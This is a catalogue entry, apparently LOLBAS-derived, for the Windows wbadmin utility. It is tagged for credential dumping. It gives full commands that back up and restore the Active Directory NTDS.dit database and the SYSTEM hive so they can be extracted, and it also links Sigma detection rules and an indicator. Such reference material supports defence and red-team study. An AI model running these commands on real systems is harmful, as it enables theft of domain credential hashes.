windows enabled community critical v1.0.0

wbadmin

Windows Backup Administration utility Located at: C:\Windows\System32\wbadmin.exe.

📋 Live Preview 
wbadmin
wbadmin

Sandbox: execFile · Timeout: 30s

Capabilities

credential.dump

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Olow

Examples

Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx) (Snapshoting of Active Directory NTDS.dit database)

wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet

Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers. (Dumping of Active Directory NTDS.dit database)

wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_dump_sensitive_files.yml
sigma https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_restore_file.yml
sigma https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_restore_sensitive_files.yml
ioc wbadmin.exe command lines containing "NTDS" or "NTDS.dit"

Documentation

wbadmin

wbadmin is a Windows LOLBin. Windows Backup Administration utility Located at: C:\Windows\System32\wbadmin.exe.

References